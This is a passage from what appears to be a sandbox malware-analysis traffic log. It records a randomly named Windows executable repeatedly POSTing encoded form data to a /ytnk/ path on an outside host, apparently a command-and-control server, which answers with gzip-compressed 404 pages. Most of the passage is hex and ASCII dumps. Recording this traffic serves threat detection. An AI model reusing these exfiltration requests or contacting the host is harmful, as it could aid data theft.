Nov 5, 2024 15:37:29.149399042 CET	1289	IN	Data Raw: 10 c7 0c db d4 d2 34 bd a5 f9 9c 7b 57 e0 87 3b 3e 8e 31 81 94 0d 53 34 5b b8 4d ad 29 b4 32 ab ca 67 16 28 d7 06 60 b2 31 99 94 b3 96 a0 39 3a 9b d8 07 fa 48 52 8d 91 2c 1b 23 69 c8 89 6f 63 e2 81 a4 69 23 08 a6 65 59 1d e2 e1 76 10 a9 b4 15 5d Data Ascii: 4{W;>1S4[M)2g(`19:HR,#ioci#eYv]5yE^8L1+^9qm)h9 k2\$1IVd.RE%rEc}PlY1GOQG+CQ_DYgeXFUo9(CO03H
Nov 5, 2024 15:37:29.149403095 CET	1289	IN	Data Raw: 4f b4 46 9f 66 30 69 6f 19 f7 b0 70 47 15 80 b2 b3 2a 29 2a 3f e2 4a 1b 43 39 19 7c 8b f6 fc 04 94 23 60 47 73 72 c5 bd a6 6b 10 b0 d5 71 80 a1 ba a0 8d 4b 8e bf 29 23 a3 95 29 15 0a 59 5a 71 b3 4b a1 a0 21 94 f4 6e 26 8c 74 49 37 2e e0 03 ca d0 Data Ascii: OFf0iopG)?JC9\|#`GsrkqK)#)YZqK!n&tI7.o0b;%\|k$sR+V7YHZ6LlxUQmb8E["-V_j7V,Z$VN&:.k=ur."nsuvQag6WI)
Nov 5, 2024 15:37:29.149611950 CET	1289	IN	Data Raw: 4a 56 7c d9 4b f4 b9 05 f2 fe 51 e7 16 c8 7b 44 9b 5b 60 ed 19 65 6e 81 79 8b e8 72 8b 52 76 8b 2a 77 2f b0 7f 34 b9 4d 59 db 44 91 5b 57 d5 46 d1 e3 b6 aa b6 51 d4 b8 35 2b fd a3 c5 ad 8b e8 15 25 6e 81 bd 77 74 b8 8d f1 eb 15 15 6e 53 b5 7d a2 Data Ascii: JV\|KQ{D[`enyrRvw/4MYD[WFQ5+%nwtnS}-nnv}oBE{[`mw}tFu[_4QVXmtGm[zNHEi~$5vm(l[a@#V=(k[]wMCyI7I}Q;
Nov 5, 2024 15:37:29.149616957 CET	1289	IN	Data Raw: 9b 51 b6 51 2a f5 ea 66 f1 36 77 69 aa 4d 75 15 62 2a 4d 56 1d 6f 22 99 9a 67 ab b2 68 81 e3 2b ed 6e 90 0b b3 4b fd b8 92 f7 2f 28 79 6b 41 ad 0b 28 1a 22 8a 2e 8b 9d c9 1d ba 1e c5 51 3d cb b5 dc 09 c8 1f 24 ad 99 10 da 4d 25 f8 6b ea b6 f8 e2 Data Ascii: QQf6wiMubMVo"gh+nK/(ykA(".Q=$M%k^c+%tE4G4S*]miH{E~N\|/NQY Bm5e2-EIN4M[V1tTu-td7dd1)t:u[6Hgyj]cJF{PB<l[#;(]EAE
Nov 5, 2024 15:37:29.267188072 CET	1289	IN	Data Raw: 82 fb b3 cf 7f e0 7f fa 39 a4 2f a3 95 97 81 02 f6 a9 7f 86 d0 45 e9 c1 e7 6a ed 7f 34 77 b7 d1 80 dc 22 65 55 69 2f 7c e1 52 08 a3 b3 f1 80 d9 9c fc 4b ab ce 3f 8d c3 39 80 8f 1f 16 f0 7d e4 fa cb 1f ff e8 93 01 b7 bc 5e 78 c7 03 7b b1 08 7c 87 Data Ascii: 9/Ej4w"eUi/\|RK?9}^x{\|\|q] ?za Wp;d@i: : .a4fx<)8?8tA^y2JXHLBap3rf/@3;t\|=xo`.#eu97S

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.11.20	49792	66.198.240.15	80	4732	C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 15:37:31.478069067 CET	773	OUT	POST /ytnk/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-us Content-Length: 221 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Host: www.abuali-contracting.art Origin: http://www.abuali-contracting.art Referer: http://www.abuali-contracting.art/ytnk/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0.1) Gecko/20100101 Firefox/5.0.1 Data Raw: 51 32 5f 34 3d 6a 48 6f 68 30 62 34 4e 57 4b 75 43 6e 4f 77 5a 68 68 51 39 49 38 49 30 74 46 73 2b 31 4f 33 71 65 36 6b 48 58 72 6d 55 4b 73 45 6f 61 58 65 4b 75 38 47 6a 4c 34 68 4a 34 39 4e 37 43 49 79 79 6a 55 78 6c 39 41 51 49 6a 6c 46 48 41 63 76 37 41 6f 45 35 41 47 72 48 55 77 53 61 32 67 67 4f 6f 71 71 6d 78 76 6a 76 4b 75 4a 62 54 4b 33 31 64 45 6a 53 54 4b 58 37 72 46 79 2b 76 2f 6a 47 35 4a 4a 6d 66 77 55 6c 73 65 62 54 77 78 4f 37 57 63 7a 36 64 53 6f 48 2b 33 69 6d 6d 6b 54 2b 43 39 46 75 63 4c 39 30 56 65 78 51 44 57 53 69 57 74 6e 53 47 31 63 2f 44 6c 6f 43 69 74 77 73 4e 62 32 6c 48 4f 65 54 2f 39 43 2b 2f 57 50 72 4f 6d 50 53 4c 4d 38 3d Data Ascii: Q2_4=jHoh0b4NWKuCnOwZhhQ9I8I0tFs+1O3qe6kHXrmUKsEoaXeKu8GjL4hJ49N7CIyyjUxl9AQIjlFHAcv7AoE5AGrHUwSa2ggOoqqmxvjvKuJbTK31dEjSTKX7rFy+v/jG5JJmfwUlsebTwxO7Wcz6dSoH+3immkT+C9FucL90VexQDWSiWtnSG1c/DloCitwsNb2lHOeT/9C+/WPrOmPSLM8=
Nov 5, 2024 15:37:31.809813976 CET	1289	IN	HTTP/1.1 404 Not Found Date: Tue, 05 Nov 2024 14:37:31 GMT Server: Apache X-Powered-By: PHP/8.1.29 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://abuali-contracting.art/wp-json/>; rel="https://api.w.org/" Strict-Transport-Security: max-age=63072000; includeSubDomains X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 24178 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ed bd 69 93 e4 c6 91 20 fa 99 6d f6 fe 03 98 34 b2 2b c9 04 12 f7 51 d5 d5 12 59 24 25 ce 36 45 99 9a 92 de 4a 4d 2b 43 02 c8 2a 74 23 13 29 20 b3 0e 96 ea c3 68 24 ad 56 fb 7e c5 ee ce 8a c3 37 1a 99 46 6f 76 4c fb 4b aa ff cd 73 f7 c0 7d 25 f2 e8 6e 72 d4 4d 56 15 10 f0 f0 70 f7 f0 f0 70 8f f3 c1 9b 1f 7e 76 f2 f9 7f fe e1 47 dc f9 72 16 3c bc f7 00 ff 70 ae 1f 1d 0f a2 65 30 e0 02 7b 7e 76 3c b0 a3 01 b7 88 bc a9 7f 75 3c 08 cf 0e 01 76 b9 88 0f c7 e3 f0 6c 21 cc bc f1 3c 7e 6b 80 59 3d db 7d 78 ef 8d 07 33 6f 69 73 ce b9 1d c5 de f2 78 f0 e3 cf 3f e6 cd 01 37 ce be cc ed 99 77 3c b8 f0 bd cb 45 18 2d 07 9c 13 ce 97 de 1c 20 2f 7d 77 79 7e ec 7a 17 be e3 f1 f4 32 e2 fc b9 bf f4 ed 80 8f 1d 3b f0 8e 25 c2 73 ef 8d 37 1e bc c9 f3 dc fb 41 00 df b9 cf e6 1e f7 f8 a3 cf 38 55 30 04 55 90 38 9e b3 fd 30 f6 42 c1 09 67 1c cf 3f fc bf 10 7e e9 2f 03 ef e1 83 31 fb 8b 29 05 5a a2 70 12 2e e3 02 25 f3 d0 9f bb de 15 a3 ba 04 7a e6 cd bd c8 5e 86 51 01 ba 42 c7 c1 fb 9f 7c 06 [TRUNCATED] Data Ascii: i m4+QY$%6EJM+Ct#) h$V~7FovLKs}%nrMVpp~vGr<pe0{~v<u<vl!<~kY=}x3oisx?7w<E- /}wy~z2;%s7A8U0U80Bg?~/1)Zp.%z^QB\|)A)[^/Xc/p>0v7"X>fq3.wFgg8 ql%de>#Y3O'&YQ}x3T7( c18F6`xuRtJ)Ee+W;y~>IFh'KPG/6k<E<pE>%)&jK6b\E-p*4R\/ y$vQjQ]E,F!]b@DvQ(y99yRhI&bn&D7UOp0%S2`RBn/Ej5\|sBx
Nov 5, 2024 15:37:31.809847116 CET	1289	IN	Data Raw: 55 54 d4 55 14 f4 b5 4f 4b 2f f0 16 e7 e1 1c 9b cf 7b 96 ae 6b a2 ae 19 a2 a5 ab f0 2d 08 cf c2 c1 61 de 58 3f 99 d9 67 de 67 93 a7 9e b3 dc a0 90 cb 05 9f 74 63 4f c6 ab 45 10 da 6e fc 64 2c 8b b2 fa 64 2c 1a 4f c6 4e 14 2e 16 9e cb eb 96 69 a8 Data Ascii: UTUOK/{k-aX?ggtcOEnd,d,ON.i<S';<7l?ksO# esXsr&1XmnL7Y}+e~k\?@/A4;-Tyel%dm;#8byE
Nov 5, 2024 15:37:31.809855938 CET	1289	IN	Data Raw: dc 07 20 24 70 32 c0 67 58 86 8b c1 c8 16 a6 21 8e 3d eb a2 c8 29 f2 e2 8a 7b 3f f2 ed 00 10 dd 66 ad 03 1a 60 18 7d 64 83 9a e7 ed 63 78 13 fe dc fb e2 78 79 60 8f 3c 90 08 16 90 cb 69 89 df 99 e1 a8 51 cf 3a 25 a8 ac a5 10 47 ce 31 08 54 00 21 Data Ascii: $p2gX!=){?f`}dcxxy`<iQ:%G1T!~Sxs\hXMba{.Q\|s"GV\|1)oCw??o2FY\|v./`gG <[fjL^,%>c9gi
Nov 5, 2024 15:37:31.809863091 CET	1289	IN	Data Raw: 23 81 23 fb c2 e3 8a 9e b8 5a 8f e8 14 b9 51 b8 e0 a7 3e 8e b7 1f 4e 82 55 74 20 e9 8b ab 21 17 db e0 73 a1 2f 2c 99 e2 db c3 a3 cd 20 cf 48 f6 40 4a 00 7c bd a5 d9 f8 9f 2a 1e b1 4a a0 c6 7e 54 ae 10 75 71 75 54 16 c3 51 49 ca 49 5f 2c 8b 00 f7 Data Ascii: ##ZQ>NUt !s/, H@J\|J~TuquTQII_,<<)'HQh!b^!$ZzG5g#!XF<Opqs8lxD<oC%sW\BOiM1V1\|kh IumqS}5Azf.=^kx/
Nov 5, 2024 15:37:31.809870958 CET	1289	IN	Data Raw: b4 f9 f2 cf fb 1c 79 f0 c7 f7 c1 a2 b0 c5 e2 0d e2 c1 f5 c0 6c 03 53 4b 45 66 00 2d 23 6a c5 26 5d 9c 49 cb f2 81 5a a7 81 66 52 04 01 ac cf 48 a6 da 9b da ab 80 59 99 b6 29 5c 1c b9 6d 2c b8 0a 5f 9e 31 6f a6 75 d4 86 68 dd bc 77 4e f6 66 b3 7f Data Ascii: ylSKEf-#j&]IZfRHY)\m,_1ouhwNf}TKTLiBe2a:Zn9{X1TkfZ-i,4'^YgzCn2B\|p NK+._6Tj`}EH`C)#%nfjrT; \%))T
Nov 5, 2024 15:37:31.809915066 CET	1289	IN	Data Raw: 17 5b 1a 73 3d 12 17 40 14 0d 67 62 1f 35 7f e6 f9 e8 6c 72 28 8e 24 59 1d 49 a6 de 06 85 0e 07 74 e8 92 88 e8 f4 89 2d ad 05 cc 10 8b c6 48 d2 d7 c1 cb 84 58 b3 4d 63 2d 60 8a d8 02 dc 8a 56 04 4f bc 0e 36 1a 48 8b ac 70 8c 8a 41 24 2b 03 ae e7 Data Ascii: [s=@gb5lr($YIt-HXMc-`VO6HpA$+.<a;mdy$dYIh$k,%czH.M8mqz0l'np;ogbt:UZ3-I<9)5<\|U^Q7\0%i6Vq
Nov 5, 2024 15:37:31.809936047 CET	1289	IN	Data Raw: 10 c7 0c db d4 d2 34 bd a5 f9 9c 7b 57 e0 87 3b 3e 8e 31 81 94 0d 53 34 5b b8 4d ad 29 b4 32 ab ca 67 16 28 d7 06 60 b2 31 99 94 b3 96 a0 39 3a 9b d8 07 fa 48 52 8d 91 2c 1b 23 69 c8 89 6f 63 e2 81 a4 69 23 08 a6 65 59 1d e2 e1 76 10 a9 b4 15 5d Data Ascii: 4{W;>1S4[M)2g(`19:HR,#ioci#eYv]5yE^8L1+^9qm)h9 k2\$1IVd.RE%rEc}PlY1GOQG+CQ_DYgeXFUo9(CO03H
Nov 5, 2024 15:37:31.809943914 CET	1289	IN	Data Raw: 4f b4 46 9f 66 30 69 6f 19 f7 b0 70 47 15 80 b2 b3 2a 29 2a 3f e2 4a 1b 43 39 19 7c 8b f6 fc 04 94 23 60 47 73 72 c5 bd a6 6b 10 b0 d5 71 80 a1 ba a0 8d 4b 8e bf 29 23 a3 95 29 15 0a 59 5a 71 b3 4b a1 a0 21 94 f4 6e 26 8c 74 49 37 2e e0 03 ca d0 Data Ascii: OFf0iopG)?JC9\|#`GsrkqK)#)YZqK!n&tI7.o0b;%\|k$sR+V7YHZ6LlxUQmb8E["-V_j7V,Z$VN&:.k=ur."nsuvQag6WI)
Nov 5, 2024 15:37:31.809967041 CET	1289	IN	Data Raw: 4a 56 7c d9 4b f4 b9 05 f2 fe 51 e7 16 c8 7b 44 9b 5b 60 ed 19 65 6e 81 79 8b e8 72 8b 52 76 8b 2a 77 2f b0 7f 34 b9 4d 59 db 44 91 5b 57 d5 46 d1 e3 b6 aa b6 51 d4 b8 35 2b fd a3 c5 ad 8b e8 15 25 6e 81 bd 77 74 b8 8d f1 eb 15 15 6e 53 b5 7d a2 Data Ascii: JV\|KQ{D[`enyrRvw/4MYD[WFQ5+%nwtnS}-nnv}oBE{[`mw}tFu[_4QVXmtGm[zNHEi~$5vm(l[a@#V=(k[]wMCyI7I}Q;
Nov 5, 2024 15:37:31.809973955 CET	1289	IN	Data Raw: 9b 51 b6 51 2a f5 ea 66 f1 36 77 69 aa 4d 75 15 62 2a 4d 56 1d 6f 22 99 9a 67 ab b2 68 81 e3 2b ed 6e 90 0b b3 4b fd b8 92 f7 2f 28 79 6b 41 ad 0b 28 1a 22 8a 2e 8b 9d c9 1d ba 1e c5 51 3d cb b5 dc 09 c8 1f 24 ad 99 10 da 4d 25 f8 6b ea b6 f8 e2 Data Ascii: QQf6wiMubMVo"gh+nK/(ykA(".Q=$M%k^c+%tE4G4S*]miH{E~N\|/NQY Bm5e2-EIN4M[V1tTu-td7dd1)t:u[6Hgyj]cJF{PB<l[#;(]EAE
Nov 5, 2024 15:37:31.932573080 CET	1289	IN	Data Raw: 82 fb b3 cf 7f e0 7f fa 39 a4 2f a3 95 97 81 02 f6 a9 7f 86 d0 45 e9 c1 e7 6a ed 7f 34 77 b7 d1 80 dc 22 65 55 69 2f 7c e1 52 08 a3 b3 f1 80 d9 9c fc 4b ab ce 3f 8d c3 39 80 8f 1f 16 f0 7d e4 fa cb 1f ff e8 93 01 b7 bc 5e 78 c7 03 7b b1 08 7c 87 Data Ascii: 9/Ej4w"eUi/\|RK?9}^x{\|\|q] ?za Wp;d@i: : .a4fx<)8?8tA^y2JXHLBap3rf/@3;t\|=xo`.#eu97S

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.11.20	49793	66.198.240.15	80	4732	C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 15:37:34.131946087 CET	1289	OUT	POST /ytnk/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-us Content-Length: 7369 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Host: www.abuali-contracting.art Origin: http://www.abuali-contracting.art Referer: http://www.abuali-contracting.art/ytnk/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0.1) Gecko/20100101 Firefox/5.0.1 Data Raw: 51 32 5f 34 3d 6a 48 6f 68 30 62 34 4e 57 4b 75 43 6e 4f 77 5a 68 68 51 39 49 38 49 30 74 46 73 2b 31 4f 33 71 65 36 6b 48 58 72 6d 55 4b 73 4d 6f 61 6b 57 4b 73 65 75 6a 5a 6f 68 4a 79 64 4e 32 43 49 7a 77 6a 55 35 68 39 41 55 69 6a 67 4a 48 44 35 6a 37 52 39 6f 35 4b 47 72 48 59 51 53 62 37 41 68 47 6f 71 37 76 78 76 7a 76 4b 75 4a 62 54 4d 7a 31 61 51 33 53 41 61 58 38 37 31 79 4d 35 50 6a 2b 35 4a 67 54 66 30 4a 48 73 74 6a 54 78 52 65 37 56 76 4c 36 41 43 70 68 2f 33 69 2b 6d 68 4b 2b 43 39 5a 59 63 4c 68 65 56 64 68 51 42 6a 7a 41 44 4a 54 2b 51 56 55 45 65 32 52 30 75 63 6f 5a 44 4a 65 73 48 50 32 43 2f 64 65 4f 32 58 76 4c 4e 46 58 43 55 4d 2f 2b 53 6b 71 75 6c 4a 62 39 45 50 78 48 2b 31 50 4d 39 4e 5a 6e 70 42 52 34 68 7a 6c 6e 32 54 68 4b 61 78 67 69 76 48 41 4a 33 36 4d 47 68 74 6a 39 4b 6b 39 6d 48 4b 42 47 4e 70 37 44 6e 4d 46 63 4b 69 41 77 62 4c 6a 41 32 6b 2b 6c 6b 67 7a 64 39 46 57 54 4d 58 45 59 54 53 77 74 78 32 4d 4d 6a 6b 48 52 74 38 30 2f 33 6d 51 4d 59 2f 59 63 45 39 57 74 65 [TRUNCATED] Data Ascii: Q2_4=jHoh0b4NWKuCnOwZhhQ9I8I0tFs+1O3qe6kHXrmUKsMoakWKseujZohJydN2CIzwjU5h9AUijgJHD5j7R9o5KGrHYQSb7AhGoq7vxvzvKuJbTMz1aQ3SAaX871yM5Pj+5JgTf0JHstjTxRe7VvL6ACph/3i+mhK+C9ZYcLheVdhQBjzADJT+QVUEe2R0ucoZDJesHP2C/deO2XvLNFXCUM/+SkqulJb9EPxH+1PM9NZnpBR4hzln2ThKaxgivHAJ36MGhtj9Kk9mHKBGNp7DnMFcKiAwbLjA2k+lkgzd9FWTMXEYTSwtx2MMjkHRt80/3mQMY/YcE9Wte4wbKgG5GSql0Ty05B7Soh5vwKQiqemm+S/3WfNONNSQuk04psmg1TaEVQX8ifDPN3B38v4IIxOiDyC5vXy6cf5OPz8ZBGa1soT/bWDCbAo8HocSKO4oe9MUGdT1ZjlNbivsqrdbT8m0zGb5OS4cGimNNx6Zcx1QfBJJ6C7L5g8QDx0yyQewP4XUDjxg7vZVzBme5cSxojoIPdjZC9KXrQ7eh0Bi2x7WwlJ9+soI6/Lc0ybIL93SwG9jGtYvj3ufuZuflaqU0d9eVvA9XzpmMZ6yanWouaZR4TOTuQV8/7fjwhJSuHegayycqzMJErNiTGWWxX6eMd4W3k6JY2L3XKVxl6ryHYLhguUdf6BfVu07/svRNNhLnwS4I4SP1nKb7KtaBqSt8/XisCD
Nov 5, 2024 15:37:34.131995916 CET	1289	OUT	Data Raw: 48 70 63 67 53 38 74 54 44 58 55 36 30 4a 36 57 79 63 57 77 47 4a 43 63 39 45 76 5a 38 6e 54 6b 52 50 47 79 54 48 2b 43 64 39 59 44 41 59 59 41 4b 37 56 38 78 55 68 6e 76 6f 2b 63 79 64 35 44 6f 33 35 53 69 7a 6f 44 73 6d 51 64 30 50 6a 6a 6a 69 Data Ascii: HpcgS8tTDXU60J6WycWwGJCc9EvZ8nTkRPGyTH+Cd9YDAYYAK7V8xUhnvo+cyd5Do35SizoDsmQd0PjjjiUgkFpit6q3fTRLNN8YU+8SeRJNE/QZFh1VzYQnaJAuRX1Zxb7W4Z5/C3mYBtNJkfl6uATJCwEVVTLU439BsGdfTfAb0N2Ah8EIS8EA8+YkTQIfePrFow54P7WObVO49ZQ1ZVBFcbvODr2Z4mAYy1tyhDqmYMsMFlc
Nov 5, 2024 15:37:34.132045031 CET	5344	OUT	Data Raw: 4e 33 64 6d 56 52 44 69 77 51 2b 71 48 39 70 4d 70 58 62 33 75 4d 42 68 70 65 57 4d 6f 57 55 44 78 67 65 71 2b 53 63 5a 50 5a 2f 46 68 63 31 76 52 45 52 51 6a 71 48 62 62 34 53 2f 77 33 33 73 6f 79 52 78 30 57 4f 6b 77 6d 35 74 50 4e 52 34 5a 53 Data Ascii: N3dmVRDiwQ+qH9pMpXb3uMBhpeWMoWUDxgeq+ScZPZ/Fhc1vRERQjqHbb4S/w33soyRx0WOkwm5tPNR4ZS2WD3wwGpsuruC7cZtO5Ck16kwO9ocPUA+k+hRkc0AeiQkvuRsbnoF8LmsYlOBvMPcB3/ehTYhm3YpNJDJUC/hFI4U7f3LKTv/dj6fNx/Elg9ptmrGcAEHAZoid9RWyBPuaOZ54SYN57tJqoxVCWcTUeThGMKWkOjl
Nov 5, 2024 15:37:34.472951889 CET	1289	IN	HTTP/1.1 404 Not Found Date: Tue, 05 Nov 2024 14:37:34 GMT Server: Apache X-Powered-By: PHP/8.1.29 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://abuali-contracting.art/wp-json/>; rel="https://api.w.org/" Strict-Transport-Security: max-age=63072000; includeSubDomains X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 24178 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ed bd 69 93 e4 c6 91 20 fa 99 6d f6 fe 03 98 34 b2 2b c9 04 12 f7 51 d5 d5 12 59 24 25 ce 36 45 99 9a 92 de 4a 4d 2b 43 02 c8 2a 74 23 13 29 20 b3 0e 96 ea c3 68 24 ad 56 fb 7e c5 ee ce 8a c3 37 1a 99 46 6f 76 4c fb 4b aa ff cd 73 f7 c0 7d 25 f2 e8 6e 72 d4 4d 56 15 10 f0 f0 70 f7 f0 f0 70 8f f3 c1 9b 1f 7e 76 f2 f9 7f fe e1 47 dc f9 72 16 3c bc f7 00 ff 70 ae 1f 1d 0f a2 65 30 e0 02 7b 7e 76 3c b0 a3 01 b7 88 bc a9 7f 75 3c 08 cf 0e 01 76 b9 88 0f c7 e3 f0 6c 21 cc bc f1 3c 7e 6b 80 59 3d db 7d 78 ef 8d 07 33 6f 69 73 ce b9 1d c5 de f2 78 f0 e3 cf 3f e6 cd 01 37 ce be cc ed 99 77 3c b8 f0 bd cb 45 18 2d 07 9c 13 ce 97 de 1c 20 2f 7d 77 79 7e ec 7a 17 be e3 f1 f4 32 e2 fc b9 bf f4 ed 80 8f 1d 3b f0 8e 25 c2 73 ef 8d 37 1e bc c9 f3 dc fb 41 00 df b9 cf e6 1e f7 f8 a3 cf 38 55 30 04 55 90 38 9e b3 fd 30 f6 42 c1 09 67 1c cf 3f fc bf 10 7e e9 2f 03 ef e1 83 31 fb 8b 29 05 5a a2 70 12 2e e3 02 25 f3 d0 9f bb de 15 a3 ba 04 7a e6 cd bd c8 5e 86 51 01 ba 42 c7 c1 fb 9f 7c 06 [TRUNCATED] Data Ascii: i m4+QY$%6EJM+Ct#) h$V~7FovLKs}%nrMVpp~vGr<pe0{~v<u<vl!<~kY=}x3oisx?7w<E- /}wy~z2;%s7A8U0U80Bg?~/1)Zp.%z^QB\|)A)[^/Xc/p>0v7"X>fq3.wFgg8 ql%de>#Y3O'&YQ}x3T7( c18F6`xuRtJ)Ee+W;y~>IFh'KPG/6k<E<pE>%)&jK6b\E-p*4R\/ y$vQjQ]E,F!]b@DvQ(y99yRhI&bn&D7UOp0%S2`RBn/Ej5\|sBx
Nov 5, 2024 15:37:34.472965956 CET	1289	IN	Data Raw: 55 54 d4 55 14 f4 b5 4f 4b 2f f0 16 e7 e1 1c 9b cf 7b 96 ae 6b a2 ae 19 a2 a5 ab f0 2d 08 cf c2 c1 61 de 58 3f 99 d9 67 de 67 93 a7 9e b3 dc a0 90 cb 05 9f 74 63 4f c6 ab 45 10 da 6e fc 64 2c 8b b2 fa 64 2c 1a 4f c6 4e 14 2e 16 9e cb eb 96 69 a8 Data Ascii: UTUOK/{k-aX?ggtcOEnd,d,ON.i<S';<7l?ksO# esXsr&1XmnL7Y}+e~k\?@/A4;-Tyel%dm;#8byE
Nov 5, 2024 15:37:34.472973108 CET	1289	IN	Data Raw: dc 07 20 24 70 32 c0 67 58 86 8b c1 c8 16 a6 21 8e 3d eb a2 c8 29 f2 e2 8a 7b 3f f2 ed 00 10 dd 66 ad 03 1a 60 18 7d 64 83 9a e7 ed 63 78 13 fe dc fb e2 78 79 60 8f 3c 90 08 16 90 cb 69 89 df 99 e1 a8 51 cf 3a 25 a8 ac a5 10 47 ce 31 08 54 00 21 Data Ascii: $p2gX!=){?f`}dcxxy`<iQ:%G1T!~Sxs\hXMba{.Q\|s"GV\|1)oCw??o2FY\|v./`gG <[fjL^,%>c9gi
Nov 5, 2024 15:37:34.473000050 CET	1289	IN	Data Raw: 23 81 23 fb c2 e3 8a 9e b8 5a 8f e8 14 b9 51 b8 e0 a7 3e 8e b7 1f 4e 82 55 74 20 e9 8b ab 21 17 db e0 73 a1 2f 2c 99 e2 db c3 a3 cd 20 cf 48 f6 40 4a 00 7c bd a5 d9 f8 9f 2a 1e b1 4a a0 c6 7e 54 ae 10 75 71 75 54 16 c3 51 49 ca 49 5f 2c 8b 00 f7 Data Ascii: ##ZQ>NUt !s/, H@J\|J~TuquTQII_,<<)'HQh!b^!$ZzG5g#!XF<Opqs8lxD<oC%sW\BOiM1V1\|kh IumqS}5Azf.=^kx/
Nov 5, 2024 15:37:34.473031998 CET	1289	IN	Data Raw: b4 f9 f2 cf fb 1c 79 f0 c7 f7 c1 a2 b0 c5 e2 0d e2 c1 f5 c0 6c 03 53 4b 45 66 00 2d 23 6a c5 26 5d 9c 49 cb f2 81 5a a7 81 66 52 04 01 ac cf 48 a6 da 9b da ab 80 59 99 b6 29 5c 1c b9 6d 2c b8 0a 5f 9e 31 6f a6 75 d4 86 68 dd bc 77 4e f6 66 b3 7f Data Ascii: ylSKEf-#j&]IZfRHY)\m,_1ouhwNf}TKTLiBe2a:Zn9{X1TkfZ-i,4'^YgzCn2B\|p NK+._6Tj`}EH`C)#%nfjrT; \%))T
Nov 5, 2024 15:37:34.473057032 CET	1289	IN	Data Raw: 17 5b 1a 73 3d 12 17 40 14 0d 67 62 1f 35 7f e6 f9 e8 6c 72 28 8e 24 59 1d 49 a6 de 06 85 0e 07 74 e8 92 88 e8 f4 89 2d ad 05 cc 10 8b c6 48 d2 d7 c1 cb 84 58 b3 4d 63 2d 60 8a d8 02 dc 8a 56 04 4f bc 0e 36 1a 48 8b ac 70 8c 8a 41 24 2b 03 ae e7 Data Ascii: [s=@gb5lr($YIt-HXMc-`VO6HpA$+.<a;mdy$dYIh$k,%czH.M8mqz0l'np;ogbt:UZ3-I<9)5<\|U^Q7\0%i6Vq
Nov 5, 2024 15:37:34.473088980 CET	1289	IN	Data Raw: 10 c7 0c db d4 d2 34 bd a5 f9 9c 7b 57 e0 87 3b 3e 8e 31 81 94 0d 53 34 5b b8 4d ad 29 b4 32 ab ca 67 16 28 d7 06 60 b2 31 99 94 b3 96 a0 39 3a 9b d8 07 fa 48 52 8d 91 2c 1b 23 69 c8 89 6f 63 e2 81 a4 69 23 08 a6 65 59 1d e2 e1 76 10 a9 b4 15 5d Data Ascii: 4{W;>1S4[M)2g(`19:HR,#ioci#eYv]5yE^8L1+^9qm)h9 k2\$1IVd.RE%rEc}PlY1GOQG+CQ_DYgeXFUo9(CO03H
Nov 5, 2024 15:37:34.473095894 CET	1289	IN	Data Raw: 4f b4 46 9f 66 30 69 6f 19 f7 b0 70 47 15 80 b2 b3 2a 29 2a 3f e2 4a 1b 43 39 19 7c 8b f6 fc 04 94 23 60 47 73 72 c5 bd a6 6b 10 b0 d5 71 80 a1 ba a0 8d 4b 8e bf 29 23 a3 95 29 15 0a 59 5a 71 b3 4b a1 a0 21 94 f4 6e 26 8c 74 49 37 2e e0 03 ca d0 Data Ascii: OFf0iopG)?JC9\|#`GsrkqK)#)YZqK!n&tI7.o0b;%\|k$sR+V7YHZ6LlxUQmb8E["-V_j7V,Z$VN&:.k=ur."nsuvQag6WI)
Nov 5, 2024 15:37:34.473103046 CET	1289	IN	Data Raw: 4a 56 7c d9 4b f4 b9 05 f2 fe 51 e7 16 c8 7b 44 9b 5b 60 ed 19 65 6e 81 79 8b e8 72 8b 52 76 8b 2a 77 2f b0 7f 34 b9 4d 59 db 44 91 5b 57 d5 46 d1 e3 b6 aa b6 51 d4 b8 35 2b fd a3 c5 ad 8b e8 15 25 6e 81 bd 77 74 b8 8d f1 eb 15 15 6e 53 b5 7d a2 Data Ascii: JV\|KQ{D[`enyrRvw/4MYD[WFQ5+%nwtnS}-nnv}oBE{[`mw}tFu[_4QVXmtGm[zNHEi~$5vm(l[a@#V=(k[]wMCyI7I}Q;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.11.20	49794	66.198.240.15	80	4732	C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe

Timestamp	Bytes transferred	Direction	Data
